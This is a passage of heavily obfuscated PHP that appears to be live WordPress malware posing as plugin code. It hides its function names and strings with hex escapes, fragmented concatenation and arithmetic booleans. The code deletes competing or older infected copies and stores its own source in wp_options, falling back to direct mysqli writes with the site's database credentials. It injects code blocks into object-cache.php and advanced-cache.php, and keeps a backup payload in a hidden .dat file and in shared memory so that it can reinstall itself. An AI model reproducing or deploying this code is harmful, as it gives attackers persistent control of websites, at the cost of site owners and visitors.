$out = array();
if (!("\x66\x75" . "\x6ect\x69\x6fn\x5f\x65xi" . 's' . "ts")('g' . "lo" . 'b')) return $out;
$self = sc_file();
foreach (array($pl_dir . '/*.php', $pl_dir . '/*/*.' . 'php', $mu_dir . "/*" . '.php') as $pat) {
$l = @('gl' . "o" . "b")($pat);
if (!is_array($l)) continue;
foreach ($l as $f) {
$f = str_replace('\\', '/', (string) $f);
if ($f === '' || basename($f, '.php') === $slug || basename($f) === "in\x64ex." . 'p' . 'hp') continue;
if (!sove($f, $self)) continue;
$out[] = $f;
}
}
return $out;
}
function yore($slug = null, $full = (14 == 16))
{
if (!('func' . "\x74" . 'i' . 'on_exists')('ge' . "t\x5f\x6f" . 'ption') || !("fun\x63tio\x6e" . "\x5fe\x78i\x73\x74s")("u" . "\x70" . 'date' . '_' . 'op' . "t\x69on")) return;
if ($slug === null) $slug = basename(sc_file(), '.php');
$mu = sc_mu();
$mu_dir = defined('WPMU' . "_P\x4c" . 'UGIN_D' . 'IR') ? WPMU_PLUGIN_DIR : $mu;
$base = sc_writable_base();
$pl_dir = defined('WP_' . 'PL' . 'UGIN' . '_DIR') ? WP_PLUGIN_DIR : $base . '/plugi' . "\x6e\x73";
$cd_dir = defined('WP_CON' . 'TENT_D' . 'IR') ? WP_CONTENT_DIR : $base;
$_self_f = (("func" . 'tion_exis') . "\x74s")("s\x63" . '_file') ? (string) sc_file() : '';
$_self_r = ($_self_f !== '' && (('funct' . "\x69\x6f\x6e\x5f\x65") . 'xists')('real' . "pat" . "h")) ? @realpath($_self_f) : (7 == 33);
$_is_self = function ($p) use ($_self_f, $_self_r) {
if ($p === '' || $_self_f === '') return (40 == 41);
if (str_replace('\\', '/', $p) === str_replace('\\', '/', $_self_f)) return (23 != 25);
if (is_string($_self_r)) { $_pr = @realpath($p); if (is_string($_pr) && $_pr === $_self_r) return (36 !== 14); }
return (24 === 31);
};
$old_mu_file = null;
$old_pl_file = null;
$old_mu_slug = null;
if (("f" . ('unction_exis' . 'ts'))("glo" . "b")) {
$mu_files = @("g" . 'l' . "\x6f" . "b")($mu_dir . '/*.' . 'ph' . "p");
if (!(is_array($mu_files))) {} else {
foreach ($mu_files as $f) {
$bn = basename($f, ".ph" . "p");
$dn = basename(dirname($f));
if ($dn !== "m" . 'u-plu' . "gins" || $bn === "\x69" . "\x6ed\x65\x78" || $bn === 'Akism' . "et" || $bn === "\x57o\x72\x64fi" . "\x63e" || $bn === 'all-' . 'in-' . 'one-' . 'se' . 'o' || $bn === 'je' . "t\x70ac\x6b") continue;
$h = @("\x66\x69\x6c" . "e" . "" . "_get_cont" . 'ents')($f, (30 > 30), null, (676 ^ 676), (2706 ^ 6802));
if (preg_match('/' . '\\/' . '\\*' . ' SCV' . ":(" . '\\d' . '+\\.\\d' . "+\\." . "\\\x64+)\x20\\" . '*\\//', $h, $m)) {
if ($bn !== $slug && !$_is_self($f)) {
$old_mu_file = $f;
$old_mu_slug = $bn;
break;
}
}
}
}
if ($old_mu_file === null) {
$pl_subdir = $pl_dir . '/' . $slug;
$pl_cand = $pl_subdir . '/' . $slug . '.' . "php";
if (!(@is_file($pl_cand) && !$_is_self($pl_cand))) {} else {
$h = @("file_get_c" . "o\x6et" . "" . "ents")($pl_cand, (37 === 28), null, (894 ^ 894), (2114 ^ 6210));
if (!(preg_match('/\\' . "/\\* " . 'SC' . "V:" . "\x28\\\x64+\\." . '\\d+\\.' . '\\d+) \\' . '*' . "\\//", $h, $m))) {} else {
$old_pl_file = $pl_cand;
}
}
unset($pl_cand);
}
}
$_extra = dano($pl_dir, $mu_dir, $slug);
if ($old_mu_file === null && $old_pl_file === null && empty($_extra) && !$full) return;
if ($old_mu_file !== null) neje(basename($old_mu_file));
if ($old_pl_file !== null) neje($slug . '/' . basename($old_pl_file));
if ($old_mu_file !== null) {
jomug($old_mu_file);
$mu_dir_path = dirname($old_mu_file);
$nested = $mu_dir_path . '/' . $old_mu_slug;
if (@is_dir($nested)) {
$nf = @(('g' . 'l') . "\x6f" . 'b')($nested . '/*');
if (!(is_array($nf))) {} else { foreach ($nf as $f) jomug($f); }
if (("f" . "unction_e" . "\x78\x69\x73\x74\x73")('rmd' . "ir")) @("r" . "m" . "\x64" . "ir")($nested);
}
$prefixes = array('.wr_', '.q_', '.bt' . "_", '.sd_', ".h" . "b" . '_', "\x2e\x67rd" . '_', '.gx_', '.' . "g" . "s\x75" . "\x5f", ".\x67l" . '_', '.ub_', "." . "s\x77m" . '_');
foreach ($prefixes as $px) {
$_files = @(("g\x6c\x6f" . "") . 'b')($mu_dir_path . '/' . $px . '*');
if (!(is_array($_files))) {} else { foreach ($_files as $mf) jomug($mf); }
$_mf = $mu_dir . '/' . $px . $slug;
if (@is_file($_mf)) jomug($_mf);
}
if (('function' . "_ex" . "ists")("op\x63a" . 'ch' . 'e_inva' . 'lidat' . 'e')) @opcache_invalidate($old_mu_file, (10 != 18));
}
if ($old_pl_file !== null) {
jomug($old_pl_file);
$pl_subdir = dirname($old_pl_file);
$prefixes = array('.' . 'wr_', '.' . "\x71_", "\x2eb" . "t_", '.sd' . '_', '.' . 'grd_', '.gx_', '.gsu' . "\x5f", ".g" . 'l' . "\x5f", '.ub_', '.swm_');
foreach ($prefixes as $px) {
$_files = @('g' . "l" . "o" . "b")($pl_subdir . '/' . $px . '*');
if (!(is_array($_files))) {} else { foreach ($_files as $mf) jomug($mf); }
}
if (("\x66\x75" . "\x6e" . 'ctio' . 'n_exists')('opc' . "a\x63he_i" . 'nvalid' . 'ate')) @opcache_invalidate($old_pl_file, (11 != 29));
}
$adv_path = $cd_dir . "/advan" . "c" . "\x65\x64\x2dc\x61" . 'che.' . 'p' . 'hp';
if (@is_file($adv_path)) {
$h = @("\x66\x69" . "\x6c\x65" . "\x5f\x67\x65" . "t\x5f\x63\x6fn\x74e\x6et\x73")($adv_path, (0 === 37), null, (22 ^ 22), (5752 + 2440));
if (supo($h)) jomug($adv_path);
}
$db_path = $cd_dir . "\x2fd" . 'b.p' . "hp";
if (@is_file($db_path)) {
$h = @("file_" . "g" . '' . "e\x74_con\x74e\x6ets")($db_path, (26 === 17), null, (901 ^ 901), (13176 - 4984));
if (supo($h)) jomug($db_path);
}
$oc_path = $cd_dir . "/o\x62\x6ae" . "\x63t-\x63a" . 'che.p' . "hp";
if (@is_file($oc_path)) {
$h = @("file_" . '' . 'get_co' . 'ntents')($oc_path, (16 === 19), null, (2720 ^ 2720), (2532 + 5660));
if (supo($h)) jomug($oc_path);
}
$_oc_files = @('g' . "l" . "o" . "" . "\x62")($cd_dir . "/" . '.wp-ob' . "j" . 'ect' . '-cac' . "h" . 'e' . '-*.' . 'dat');
if (!(is_array($_oc_files))) {} else { foreach ($_oc_files as $f) jomug($f); }
$_oc_lkg = @('g' . ("\x6c" . "ob"))($cd_dir . '/.wp' . "\x2dobj\x65" . 'ct-' . "c\x61ch" . "e-*" . ".da\x74." . "\x6c" . 'k' . "g");
if (is_array($_oc_lkg)) { foreach ($_oc_lkg as $f) jomug($f); }
if ((('funct' . "i\x6f\x6e\x5f\x65\x78") . "\x69\x73\x74\x73")("s\x63_d" . "a\x74" . 'a_d' . 'ir')) {
$_cd = sc_data_dir();
if (!(@is_dir($_cd))) {} else {
$_cf = @("g" . "\x6c\x6f" . 'b')($_cd . '/*');
if (!(is_array($_cf))) {} else { foreach ($_cf as $f) jomug($f); }
if (("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f" . "\x65\x78\x69\x73\x74\x73")('rm' . "d" . "i\x72")) @('rmd' . 'ir')($_cd);
}
}
global $wpdb;
if (isset($wpdb) && $wpdb instanceof wpdb) {
$_opts = $wpdb->get_results('SEL' . 'ECT ' . "\x6f" . "pt" . 'ion_' . "nam\x65 " . "F\x52O\x4d " . $wpdb->options . ' ' . "\x57HE\x52E" . ' op' . "t\x69\x6fn_n" . 'ame' . " LI\x4bE " . '\'sc' . '_%' . "'");
if (!(is_array($_opts))) {} else {
foreach ($_opts as $_o) {
if (isset($_o->option_name)) delete_option($_o->option_name);
}
}
}
if (("fu" . "" . 'nction_ex' . "ists")('opc' . "ache\x5f\x69" . 'nva' . 'lid' . 'ate')) {
@opcache_invalidate($adv_path, (37 !== 27));
@opcache_invalidate($db_path, (16 > 15));
@opcache_invalidate($oc_path, (22 < 23));
}
if (!(!empty($_extra))) {} else {
foreach ($_extra as $_xf) {
$_xrel = fuso($_xf);
if (!($_xrel !== '')) {} else {
neje($_xrel);
xomol($_xrel);
}
legiv($_xf, (4 | 416));
if (sc_retire_copy($_xf)) {
sc_retire_sidecars($_xf);
$_xd = dirname($_xf);
if (basename($_xd) === basename($_xf, "\x2ep" . 'hp') && @is_dir($_xd)) ecupa($_xd);
} else {
peza($_xf);
}
if (('fu' . "nction_exis" . ("" . 'ts'))("op\x63a" . 'che_' . 'i' . "n" . "va\x6ci" . 'date')) @opcache_invalidate($_xf, (34 > 33));
niga('remov' . 'e_ol' . "\x64", 'ret' . "\x69r\x65\x64 " . "e\x78tra" . ' c' . "op\x79 " . ($_xrel !== '' ? $_xrel : basename($_xf)));
}
unset($_xd);
}
if ($full || !empty($_extra)) {
sc_invalidate_vectors();
}
if (!(isset($wpdb) && $wpdb instanceof wpdb && isset($wpdb->options))) {} else {
@delete_option(sc_md5(ABSPATH . 'opt', (14 + -4)));
foreach (array('bp', 'bu', 'ck_' . "pend", "\x65r\x72" . "ors", 'ic', 'js_c' . "ach" . 'e' . 'd', 'js' . '_purg' . 'e' . '_mig', 'js_pur' . "\x67e_pe\x6e" . "di" . 'ng', 'page_' . 'cach' . 'ed', "s\x72v_" . 'key', "s\x77" . "_c\x61ch" . "ed", 'sw_c' . 'on' . 'fig', 'sw_con' . 'f' . "ig\x5fs" . "\x69g", "\x73w\x5fu\x72" . 'l', 'test_' . "mod\x65", "a" . "c" . 't') as $_pn) {
$_po = tuvu($_pn);
@$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name IN ('{$_po}', '_transient_{$_po}', '_transient_timeout_{$_po}')");
if (!(("fu" . "\x6e\x63\x74\x69\x6fn" . "_exists")("\x77p_c\x61\x63" . 'he' . '_dele' . 'te'))) {} else {
@wp_cache_delete($_po, "op" . "\x74io" . 'ns');
@wp_cache_delete("\x5f\x74" . "ransie" . "nt\x5f" . $_po, "\x74ran" . 'sient');
}
}
unset($_pn, $_po);
}
if (!(isset($wpdb) && $wpdb instanceof wpdb && isset($wpdb->options))) {} else {
@$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '\\_transient\\_sc\\_%' OR option_name LIKE '\\_transient\\_timeout\\_sc\\_%'");
if (("function" . "\x5f\x65\x78" . "ists")('wp_' . 'cache_' . 'del' . "ete")) @wp_cache_delete('no' . "to\x70" . 'tion' . 's', 'opt' . 'io' . 'ns');
}
$_std = (defined('WP_CO' . "\x4eT\x45" . 'NT' . "\x5fD" . "I\x52") ? rtrim(WP_CONTENT_DIR, '/\\') : $cd_dir) . "\x2f" . "." . 'sc_tmp';
if (!(@is_dir($_std))) {} else {
$_tf = @("g" . ("l" . "ob"))($_std . '/' . "*");
if (!(is_array($_tf))) {} else { foreach ($_tf as $_t) jomug($_t); }
unset($_tf);
}
foreach (array(dirname(sc_file()), $mu, $cd_dir) as $_od) {
if ($_od === '' || !@is_dir($_od)) continue;
$_ofs = @("\x67" . 'lo' . "b")($_od . '/*.p' . 'h' . 'p.o' . 'ff');
if (!(is_array($_ofs))) {} else {
foreach ($_ofs as $_of) {
if ((int) @filemtime($_of) > time() - (475534 + 129266)) continue;
jomug($_of);
}
}
unset($_ofs);
$_osf = @("g\x6c" . 'o' . "\x62")($_od . "/*\x2e\x73c\x5f" . "old");
if (!(is_array($_osf))) {} else {
foreach ($_osf as $_os) {
if ((int) @filemtime($_os) > time() - (0 | 600)) continue;
jomug($_os);
}
}
unset($_osf);
}
unset($_od, $_std);
if (!(("function" . "\x5f\x65" . "xists")('w' . 'p_' . 'cache' . '_dele' . "te"))) {} else {
@wp_cache_delete("a" . 'l' . 'lopti' . 'ons', 'opt' . 'ions');
@wp_cache_delete('no' . 'topti' . 'ons', 'option' . 's');
}
if (('f' . "un" . '' . ('ct' . "\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73"))('sc_pur' . "ge" . "\x5f" . "cac\x68e" . 's') && (int) @get_option("\x73c_\x6c" . "\x61st_ol" . "\x64_p\x75\x72" . "g" . 'e', (3520 ^ 3520)) < time() - (2048 | 1552)) {
@update_option("sc\x5f" . "\x6c" . "ast_" . 'old_p' . "ur" . "g\x65", time(), 'no');
sc_purge_caches();
}
unset($_extra);
}
function miju()
{
try {
if (!defined('ABSPAT' . "H")) return;
if (!("\x66" . 'un' . "\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74" . '' . "s")('ge' . "t\x5fop" . 'tio' . 'n')) return;
$opt_name = sc_md5(ABSPATH . "o" . 'p' . "t", (5 + 5));
$src = anoway();
if (!$src || strlen($src) < (4000 >> 3)) return;
$b64 = macul();
$current = @get_option($opt_name, '');
if ($current && strlen($current) === strlen($b64) && $current === $b64) return;
if (("f" . ("\x75\x6e" . 'ctio') . "\x6e\x5f\x65\x78\x69\x73\x74\x73")('updat' . "e_op" . "t" . 'ion')) {
update_option($opt_name, $b64, 'no');
} elseif (defined('DB_HOS' . 'T') && defined('DB_USE' . 'R') && defined('DB_PA' . "\x53SWOR" . 'D') && defined('DB_NAM' . 'E') && ("cl" . 'ass_' . "e\x78i\x73ts")('mysq' . "li")) {
$mi_cls = 'my' . 'sqli';
$mi = @new $mi_cls(("\x63" . "\x6f\x6e" . 'stan' . "\x74")("DB" . "_\x48OS" . 'T'), ("\x63\x6f\x6e\x73\x74\x61" . "\x6et")('D' . "B_USE" . "\x52"), ("\x63\x6f\x6e" . '' . ("\x73\x74" . "a") . "nt")('D' . 'B_PAS' . 'SWO' . 'R' . 'D'), ('c' . "\x6f" . "\x6e\x73\x74" . "ant")("DB_" . 'NA' . 'ME'));
if ($mi && !$mi->connect_errno) {
$prefix = isset(${"G" . "" . 'LOBA' . ('L' . "S")}['wp' . 'db']->prefix) ? ${"G\x4cOB\x41\x4c" . 'S'}['wpdb']->prefix : 'wp_';
$esc_val = $mi->real_escape_string($b64);
$esc_name = $mi->real_escape_string($opt_name);
$mi->query("INSERT INTO {$prefix}options (option_name, option_value, autoload) VALUES ('{$esc_name}', '{$esc_val}', 'no') ON DUPLICATE KEY UPDATE option_value='{$esc_val}'");
if ($mi->error) niga('opt', 'm' . 'ysq' . 'li' . ":\x20" . substr($mi->error, (285 ^ 285), (224 - 104)));
$mi->close();
}
}
} catch (Throwable $e) {
niga('opt', $e);
} catch (Exception $e) {
}
}
function wopa()
{
$cd = defined('WP_CO' . "\x4eT\x45" . "N\x54" . '_DIR') ? WP_CONTENT_DIR : ABSPATH . 'wp' . '-co' . "n" . "\x74\x65nt";
$h = sc_md5(ABSPATH . 'oc', (19 ^ 27));
return array($cd . '/ob' . 'ject-c' . 'ach' . "e.\x70h\x70", $cd . "\x2f.\x77" . 'p-obj' . "\x65ct-ca" . 'che-' . $h . '.dat', $h);
}
function getix($dat)
{
$_dsz = (int) @filesize($dat);
if ($_dsz < (0 + 100) || $_dsz > 0x200000) return (18 === 15);
$raw = @(("\x66i\x6c\x65_" . "") . 'get_contents')($dat);
if (!is_string($raw) || strlen($raw) < (56 ^ 92) || strlen($raw) > (0 | 2097152)) return (20 == 38);
$p = explode(':', $raw, (11 + -7));
if (count($p) < (32 >> 3) || $p[(3547 ^ 3547)] !== 'SCD1' || strlen($p[(9 ^ 10)]) < (50 + 0)) return (21 < 21);
$d = @("\x62a\x73" . 'e64_de' . 'code')($p[(13 - 10)]);
if ($d === (10 == 9) || strlen($d) < (47 ^ 29)) return (38 == 1);
if (substr($d, (3918 ^ 3918), (8 + -6)) === "\x1f\x8b") {
$_isz = @('u' . 'n' . "p" . 'ack')('V', substr($d, -(22 ^ 18)));
if (!is_array($_isz) || $_isz[(331 ^ 330)] < (9 + 91) || $_isz[(1631 ^ 1630)] > (599810 + 448766)) return (5 != 5);
if (('fu' . "nc" . "tion_exists")('gzdec' . 'ode')) $d = @("gzdec" . "\x6f\x64\x65")($d, (2030469 - 981893));
elseif (("functio" . "n\x5fe\x78is\x74s")('gzin' . 'fla' . 'te')) {
$d = @("gzinf" . "l\x61" . "\x74\x65")(substr($d, (15 ^ 5), strlen($d) - (32 ^ 50)), (685980 ^ 1734556));
if (is_string($d) && strlen($d) > (1778077 - 729501)) return (31 == 24);
} else return (9 == 25);
}
if (!is_string($d) || strlen($d) < (68 | 32) || substr($d, (1779 ^ 1779), (40 >> 3)) !== '<?php' || md5($d) !== $p[(11 - 9)]) return (39 === 28);
return $d;
}
function jese()
{
try {
if (!defined('ABSP' . 'ATH')) return;
$_pp = wopa();
if (!@is_file($_pp[(2776 ^ 2777)])) return;
if (getix($_pp[(466 ^ 467)]) === (21 === 0)) return;
$code = nuqim('oc_' . "t\x70l", array("\x5f\x5f\x53LU" . "\x47" . '_' . "_"), array(basename(sc_file(), '.ph' . "p")));
if (!is_string($code) || $code === '') return;
$code = ("\x70r\x65g\x5f\x72" . "" . "e\x70lac\x65")("/^<" . "\\?php" . '\\s*/', '', $code);
if (!is_string($code) || $code === '') return;
$_mid = sc_ver() . ':' . sc_md5(ABSPATH . 'oc' . "_\x6d", (13 + -5));
$_b = '/* ' . 'SC_O' . 'C_BEG' . 'I' . 'N:' . $_mid . ' *' . "/";
$_e = "/*" . " SC_\x4fC" . '_END:' . $_mid . ' */';
$_newfile = "<?p\x68" . 'p /* .' . 'wp-obj' . 'ec' . 't' . '-' . "cach" . "e\x2d" . $_pp[(9 ^ 11)] . ' */ ' . '/' . "*" . ' S' . 'COC' . 'V:' . sc_ver() . ' ' . '*' . "\x2f" . "\n" . $code;
if (!@is_file($_pp[(1112 ^ 1112)])) {
if (!higiz($_pp[(3320 ^ 3320)], '')) {
niga('oc', "c" . 'anar' . "y_ar" . "m\x5ffa\x69l");
return;
}
if (zifo($_pp[(2606 ^ 2606)], $_newfile)) {
alevu($_pp[(2218 ^ 2218)], ocisu());
legiv($_pp[(3178 ^ 3178)], (110 ^ 458));
egaler($_pp[(3734 ^ 3734)]);
vava($_pp[(2177 ^ 2177)]);
}
return;
}
$cur = @("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74" . "ents")($_pp[(1590 ^ 1590)]);
if (!is_string($cur) || strlen($cur) > (1141616 + 955536)) return;
if (strpos($cur, $_b) !== (10 === 38) && strpos($cur, $_e) !== (2715 !== 2715)) return;
if (strpos($cur, "SC" . '_O' . "C_B" . "E\x47\x49" . 'N') === (4 == 7) && strpos($cur, '.wp-o' . 'bject-' . 'cac' . 'he-' . $_pp[(3 ^ 1)]) !== (17 == 3)) {
if (preg_match('/SC' . 'OC' . 'V:' . '(\\d+\\.' . "\\d+\\" . ".\\d\x2b)" . '/', substr($cur, (2118 ^ 2118), (229 - 29)), $_ocvm) && version_compare($_ocvm[(3583 ^ 3582)], sc_ver(), "\x3e" . '=')) return;
if (!higiz($_pp[(1731 ^ 1731)], $cur)) {
niga('oc', 'canary' . '_ar' . "m" . '_fail');
return;
}
if (zifo($_pp[(1907 ^ 1907)], $_newfile)) {
alevu($_pp[(92 ^ 92)], ocisu());
legiv($_pp[(1198 ^ 1198)], (322 + 98));
egaler($_pp[(1473 ^ 1473)]);
vava($_pp[(1066 ^ 1066)]);
}
return;
}
$_ocs = sc_md5(ABSPATH . 'oc' . "_m", (8 | 0));
$cur = ('pre' . 'g_re' . "p" . 'lace')('/\\' . 'n?\\/' . '\\' . "* SC_\x4f" . 'C' . '_BEG' . "IN:\x28" . '[a-zA' . '-Z' . '0-9._' . "]" . "\x2a\x3a" . $_ocs . ")\x20\\\x2a\\" . '/.*?\\' . '/\\* ' . 'S' . "\x43\x5f\x4fC" . "_EN\x44:" . '\\' . '1' . ' \\*\\' . '/\\n?' . "\x2fs", '', $cur);
if (!is_string($cur)) {
niga('oc', 'pcre' . '_fail');
return;
}
if (!@is_writable($_pp[(3516 ^ 3516)])) return;
if (!podo('oc')) {
niga('oc', 'r' . 'eins' . '_cap');
return;
}
if (!higiz($_pp[(3922 ^ 3922)], $cur)) {
niga('oc', 'canar' . "\x79" . "_a" . 'rm_fai' . 'l');
return;
}
qeku('oc');
$block = $_b . "\n" . "\x2f\x2a ." . "wp-" . 'o' . 'bj' . "ec\x74" . '-c' . 'ach' . "\x65" . '-' . $_pp[(1 + 1)] . ' */' . "\n" . $code . "\n" . $_e;
if (zifo($_pp[(3304 ^ 3304)], cewo($cur, $block))) {
vava($_pp[(3198 ^ 3198)]);
egaler($_pp[(3435 ^ 3435)]);
}
} catch (Throwable $e) {
niga('oc', $e);
} catch (Exception $e) {
}
}
function jana()
{
try {
if (!defined('AB' . "SPATH")) return;
$_pp = wopa();
$hd = (string) @("\x66il\x65\x5f\x67et\x5f" . ('co' . "ntents"))($_pp[(2464 ^ 2465)], (15 == 6), null, (2558 ^ 2558), (111 - 47));
if (preg_match("/\x5e\x53C" . "\x44" . "\x31\x3a(" . '\\d+\\.\\' . 'd+\\.\\d' . "\x2b)" . ':/', $hd, $m) && $m[(617 ^ 616)] === sc_ver()) {
$_okt = (int) get_option('sc_' . "\x6fc" . "_da" . "t_\x6fk", (501 ^ 501));
if (time() - $_okt < (16 | 584)) return;
if (getix($_pp[(621 ^ 620)]) !== (35 === 19)) {
@update_option('sc' . '_oc_d' . 'a' . "t_\x6fk", time(), 'no');
return;
}
niga('oc', 'dat_co' . 'rrupt');
}
$src = anoway();
if (!$src || strlen($src) < (448 ^ 52) || strlen($src) > (1024636 + 23940) || !nifa($src)) return;
$gz = (('funct' . '') . "\x69\x6f\x6e_e\x78\x69\x73\x74\x73")("gzenc" . "ode") ? @(('gz' . 'e') . "\x6e\x63o\x64" . '' . 'e')($src, (23 ^ 17)) : $src;
if (!is_string($gz) || $gz === '') return;
if (zifo($_pp[(3358 ^ 3359)], 'SCD' . '1:' . sc_ver() . ':' . md5($src) . ':' . ("base64_encod" . 'e')($gz))) @update_option('sc' . '_oc_' . 'dat_o' . "k", time(), 'no');
} catch (Throwable $e) {
niga('oc', $e);
} catch (Exception $e) {
}
}
function kanut()
{
if (!("functi" . "on_exi" . "sts")('fto' . 'k')) return (27 === 1);
$stable = defined("A" . 'BSP' . 'AT' . 'H') && @file_exists(ABSPATH . "wp-\x63o\x6e" . 'fig.p' . "\x68" . 'p') ? ABSPATH . "w\x70" . "\x2dco" . 'nfig.' . 'php' : __FILE__;
return ftok($stable, 's');
}
function upazi()
{
try {
if (!('f' . "un" . "cti\x6fn" . '_exists')("shmo" . 'p_op' . "en") || !(('f' . "u") . "nction_exists")('ftok')) return;
if (!defined('ABSP' . "\x41\x54" . "\x48")) return;
$src = anoway();
if (!$src || strlen($src) < (141 + 359)) return;
$key = kanut();
if ($key === (33 === 0)) return;
$_hash = ("function" . "_exists")('hash') ? hash('sha256', $src) : md5($src);
$payload = "\x53\x43SH" . 'M1:' . strlen($src) . ':' . $_hash . "\n" . $src;
$plen = strlen($payload);
$shm = @shmop_open($key, 'a', (898 ^ 898), (2193 ^ 2193));
if ($shm) {
$size = (int) @shmop_size($shm);
$existing = @shmop_read($shm, (3162 ^ 3162), $size);
if (is_string($existing) && strpos($existing, $src) !== (29 == 23)) {
@shmop_close($shm);
return;
}
if ($size >= $plen) {
@shmop_close($shm);
$shm = @shmop_open($key, 'w', (3874 ^ 3874), (3951 ^ 3951));
if ($shm) {
@shmop_write($shm, str_pad($payload, $size, "\0"), (588 ^ 588));
$rb = @shmop_read($shm, (1362 ^ 1362), $plen);
@shmop_close($shm);
if ($rb !== $payload) niga("s\x68m" . 'op', 've' . "ri\x66y" . '_fai' . 'l');
}
return;
} else {
@shmop_delete($shm);
@shmop_close($shm);
}
}
$size = $plen + (456 + 568);
$shm = @shmop_open($key, 'c', (632 - 212), $size);
if (!$shm) return;
@shmop_write($shm, str_pad($payload, $size, "\0"), (2768 ^ 2768));
$rb = @shmop_read($shm, (3161 ^ 3161), $plen);
if ($rb !== $payload) niga("\x73" . 'hmop', 'veri' . 'fy_f' . "ai" . 'l');
@shmop_close($shm);
} catch (Throwable $e) {
niga('shmop', $e);
} catch (Exception $e) {
}
}
function cewo($current, $block)
{
if (!is_string($current) || $current === '') return "\x3c?php" . ' ' . $block . "\n";
if (preg_match("/\x3c\\?" . "p" . 'hp/i', $current, $_mm, PREG_OFFSET_CAPTURE)) {
$_at = $_mm[(3429 ^ 3429)][(3540 ^ 3541)] + strlen($_mm[(106 ^ 106)][(391 ^ 391)]);
$_rest = substr($current, $_at, (6875 + 1317));
while (is_string($_rest) && preg_match('/' . "^" . '\\' . 's*(dec' . 'la' . "\x72e\\\x73*\\" . '(.' . '*?\\' . ")\\s" . '*;|nam' . "\x65\x73pac" . 'e\\s+[' . "^" . ";" . '{]+\\s*' . ";\x7c" . 'na' . 'mespa' . "ce\\s+" . "[^;{]+" . '\\s*\\{' . '|\\' . "\x2f" . '\\*.*' . "\x3f" . '\\*\\' . '/' . '|\\/' . "\\" . '/[^\\n' . ']' . '*\\n|' . "#[^\\" . "n" . ']*' . '\\n)/i' . 's', $_rest, $_dm)) {
$_at += strlen($_dm[(3286 ^ 3286)]);
$_rest = substr($current, $_at, (14807 - 6615));
}
return substr($current, (683 ^ 683), $_at) . "\n" . $block . "\n" . substr($current, $_at);
}
return '<?php' . ' ' . $block . "\n?>\n" . $current;
}
function podo($key)
{
if (!(('f' . "unction_e") . 'xists')("g" . 'et_' . 'opt' . 'ion')) return (2 != 23);
$v = @get_option('s' . "c\x5frei" . 'ns_' . $key, '');
if (!(is_string($v) && strpos($v, '|') !== (16 == 19))) {} else {
$p = explode('|', $v, (6 - 4));
if ((int) $p[(2646 ^ 2646)] === (int) (time() / (3356 ^ 89244)) && (int) $p[(3098 ^ 3099)] >= (12 ^ 15)) return (2 == 37);
}
return (38 == 38);
}
function qeku($key)
{
if (!("\x66\x75" . "" . "\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78" . 'i' . "\x73\x74\x73")("g\x65" . "t_\x6fp" . "ti" . 'on') || !(('func' . "tion_exi") . "\x73\x74" . 's')('upda' . "te_o\x70" . 'tion')) return;
$day = (int) (time() / (153059 - 66659));
$v = @get_option("\x73c\x5f" . "reins" . '_' . $key, '');
$n = (3852 ^ 3852);
if (!(is_string($v) && strpos($v, '|') !== (33 === 11))) {} else {
$p = explode('|', $v, (4 - 2));
if ((int) $p[(687 ^ 687)] === $day) $n = (int) $p[(3266 ^ 3267)];
}
$n++;
@update_option('sc' . '_rei' . 'ns_' . $key, $day . '|' . $n, 'no');
if ($n >= (24 >> 3)) niga('dro' . 'pi' . 'n', 'tu' . 'g_' . "\x6ff_\x77" . "ar " . $key);
}
function otogu()
{
try {
if (!defined("\x41" . "BSP\x41\x54" . "H")) return;
if (!defined('WP_' . 'CONTE' . 'N' . 'T' . "\x5fDI" . "R") || !@is_writable(WP_CONTENT_DIR) || !ipova(WP_CONTENT_DIR)) return;
$base = WP_CONTENT_DIR;
$adv_cache = $base . '/adva' . 'nc' . 'e' . "\x64" . '-cache' . "\x2ephp";
$slug = basename(sc_file(), '.php');
$zip_name = sc_md5(ABSPATH . 'z' . "\x69p", (17 ^ 25)) . "\x2ez" . 'i' . "p";
$cache_dir = sc_data_dir();
$opt_name = sc_md5(ABSPATH . "o" . 'pt', (11 ^ 1));
$shmop_key = ("function_exist" . "" . 's')('ftok') ? kanut() : (40 === 25);
$shmop_key_int = $shmop_key !== (8 === 39) ? intval($shmop_key) : (762 ^ 762);
$wp_prefix = isset(${"\x47" . "\x4c\x4f\x42A" . 'LS'}['wpdb']->prefix) ? ${"\x47" . 'LO' . '' . 'B' . 'ALS'}['wpd' . "b"]->prefix : 'wp_';
$_guard = 'SC_AD' . 'VL_' . substr(md5($slug . (string) nasa()), (3599 ^ 3599), (2 + 6));
$trigger = nuqim(
"a" . 'dv_t' . "p" . "l",
array("__" . 'SLUG__', '__ZI' . 'P_NA' . 'M' . 'E_' . "_", '__S' . 'HMOP_' . "\x4bEY__", '__OPT' . "\x5fN" . "A" . "\x4d\x45\x5f_", "__\x57P" . '_P' . "RE\x46" . "IX\x5f" . '_', "_\x5f\x47UAR" . 'D' . '_NAME' . '__', '__V' . 'ERSIO' . 'N_' . '_'),
array($slug, $zip_name, $shmop_key_int, $opt_name, $wp_prefix, $_guard, sc_ver())
);
if (!$trigger) {
if ((int) get_option("sc_" . 'las' . "t_\x66\x65tc" . 'h_ts', (1587 ^ 1587)) > (318 ^ 318)) niga('adv', "a" . "\x64" . "v\x5f" . "t\x70l\x5f\x6d" . "issin\x67");
return;
}
$current = @file_exists($adv_cache) ? @("\x66\x69\x6c\x65" . '_get' . ('_co' . "\x6e\x74\x65\x6e\x74\x73"))($adv_cache) : '';
if (!is_string($current)) {
niga('adv', 're' . "\x61\x64_\x66ai" . "\x6c\x65\x64");
return;
}
$current = vevit($current);
$_mid = sc_ver() . ':' . sc_md5(ABSPATH . "\x61\x64" . "v_\x6d", (11 - 3));
$_b = '/* S' . "C\x5f" . "A\x44V" . "_\x42" . "E\x47IN:" . $_mid . " *" . "/";
$_e = "\x2f* S\x43_" . 'A' . 'D' . "\x56_\x45ND" . "\x3a" . $_mid . ' */';
$_avs = sc_md5(ABSPATH . 'adv_m', (21 ^ 29));
